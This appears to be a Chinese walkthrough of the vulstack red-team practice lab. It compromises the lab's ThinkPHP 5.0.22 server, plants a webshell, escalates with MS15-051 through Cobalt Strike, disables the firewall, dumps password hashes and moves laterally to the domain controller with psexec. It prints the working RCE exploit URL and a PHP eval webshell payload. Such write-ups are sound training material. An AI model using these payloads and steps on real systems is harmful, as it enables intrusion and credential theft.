一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
Win7:
heart 123.com    #本地管理员用户
sun\Administrator dc123.com    #域管用户,改为了panda123..
 
Win2008:
sun\admin 2020.com    #由于需要改密码,我更改为panda666...
 
②虚拟机网卡设置
Win7双网卡模拟内外网:
外网:桥接模式与物理机相通
内网:根据公开截图是:192.168.138.136,仅主机模式
vulstack红队评估(五)-LMLPHP

利用管理员账号登进win7,并将其中一个网卡ip设置为桥接模式的通网段ip:192.168.1.136

 
Win2008只通内网不通外网:
内网:根据公开截图是:192.168.138.138,仅主机模式
vulstack红队评估(五)-LMLPHP

③整体环境梳理
靶机:
Win7:192.168.1.136(外网),192.168.138.136(内网)
Win2008:192.168.138.138(内网)
 
攻击机:
kali:192.168.1.2
win10:192.168.1.7
 
利用本地管理员heart登陆win7,并开启phpstudy,启动web环境:
vulstack红队评估(五)-LMLPHP

 
二、web层渗透:
0x01 前期信息收集与漏洞利用:
①端口、服务探测:
nmap 192.168.1.136 -T4 -A -sV
vulstack红队评估(五)-LMLPHP
 
②初探web
发现开启了80和3306,访问80端口的http服务,发现是thinkphp
vulstack红队评估(五)-LMLPHP

 
③thinkphp rce一把梭
随便输入路径,让其报错,发现是5.0.22版本
vulstack红队评估(五)-LMLPHP
 
直接去搜索历史漏洞,看下有没有可以直接getshell的,不难找到exp,而且直接RCE了
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
vulstack红队评估(五)-LMLPHP
④getshell
然后直接利用echo写入一句话方便后续操作,由于是靶机环境,不考虑免杀,实战中可能需要免杀一句话
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST[cmd]);?^> > shell.php
vulstack红队评估(五)-LMLPHP
直接利用蚁剑连接webshell
vulstack红队评估(五)-LMLPHP
 
0x02 目标本机信息收集
①发现目标有两个ip,并且存在域sun.com,DNS服务器为192.168.138.138,基本上DNS服务器就是域控
vulstack红队评估(五)-LMLPHP
 
查看进程信息,并没有发现杀软
vulstack红队评估(五)-LMLPHP
那么目标肯定是横向移动,最终拿下这台域控了,这里为了熟悉Cobaltstrike,所有的内网渗透操作将利用cs完成,并且不存在杀软,就不用考虑免杀了,毕竟是靶机嘛emmm...
 
 
三、内网横向渗透
0x01 让目标主机上线
①使用web_delivery的方式,生成powershell命令
vulstack红队评估(五)-LMLPHP

虚拟终端执行payload
vulstack红队评估(五)-LMLPHP

 
稍等一会就看见cs上线了
vulstack红队评估(五)-LMLPHP

 
0x02 提权
①设置心跳时间为1s,查看当前权限为管理员权限,为了后续更好操作,提权至system
vulstack红队评估(五)-LMLPHP

②查看补丁情况,并分析可利用漏洞提权exp
shell systeminfo
vulstack红队评估(五)-LMLPHP

windows提权辅助脚本提示存在MS15-051
vulstack红队评估(五)-LMLPHP

③利用CS一键提权
vulstack红队评估(五)-LMLPHP

 
提权成功返回一个system权限的beacon
vulstack红队评估(五)-LMLPHP

 
0x03 内网横向移动
①查看防火墙情况,发现是开启状态
shell netsh firewall show state
vulstack红队评估(五)-LMLPHP

为了方便操作,将防火墙关闭
shell netsh advfirewall set allprofiles state off
vulstack红队评估(五)-LMLPHP

②内网常规信息收集
当前域内计算机列表:
vulstack红队评估(五)-LMLPHP
 
域控列表:
vulstack红队评估(五)-LMLPHP

用户列表:
vulstack红队评估(五)-LMLPHP

③抓取凭证hash
vulstack红队评估(五)-LMLPHP

vulstack红队评估(五)-LMLPHP

 
抓取到的全部明文密码、ntlm hash
vulstack红队评估(五)-LMLPHP

④上线域用户leo
Spawn As派生会话
vulstack红队评估(五)-LMLPHP

 
选择leo的凭证
vulstack红队评估(五)-LMLPHP
 
成功拿到leo的beacon
vulstack红队评估(五)-LMLPHP

 
⑤继续收集域内信息
net user \\192.168.138.138
vulstack红队评估(五)-LMLPHP

又发现多了一个admin用户

 
⑥信息汇总整理:
域名:sun.com
域控:192.168.138.138,机器名:DC
域内机器:192.168.138.136(win7)、192.168.138.138(DC)
所有用户:
非域:heart:123.com;ntlm:afffeba176210fad4628f0524bfe1942
域内用户:sun\administrator(域管):panda123..;ntml:31d6cfe0d16ae931b73c59d7e0c089c0
sun\leo:123.com;ntml:afffeba176210fad4628f0524bfe1942
sun\admin(未知)
krbtgt(未知)
 
 
0x04 攻击域控
①网络环境分析
边界机win7可通外网、内网,域控只能与win7通信,不能出网,所以想要拿到DC权限,可以通过:
1.psexec配合SMB beacon上线DC机器
2.link Listener+IPC$连接上马
 
②横向psexec拿下DC beacon
vulstack红队评估(五)-LMLPHP

 
选择域管凭证,并选择smb beacon的监听器,选择一个会话进行横向移动,点击choose
vulstack红队评估(五)-LMLPHP

 
成功利用域管账号拿下DC的smb beacon
vulstack红队评估(五)-LMLPHP

③导出域内所有hash
vulstack红队评估(五)-LMLPHP

 
四、总结
0x01 总体内网拓扑
vulstack红队评估(五)-LMLPHP

 
0x02 整体思路
1.端口探测发现80端口web服务,利用thinkphp 5.0.22 rce漏洞getshell
2.简单主机信息收集发现双网卡,判断存在内网环境,并且有域
3.配合windows检测脚本,判断出可利用exp,并利用cs进行提权
4.内网、域常规信息收集,并关闭了防火墙方便后续操作
5.通过凭证hash获取到域用户、域管、其他用户的密码、hash
6.利用抓取到的域管凭证+psexec进行横向到域控
7.经过分析当前网络情况发现域控并不能出网,所以通过SMB beacon+psexec进行横向,最终拿下域控
05-11 13:47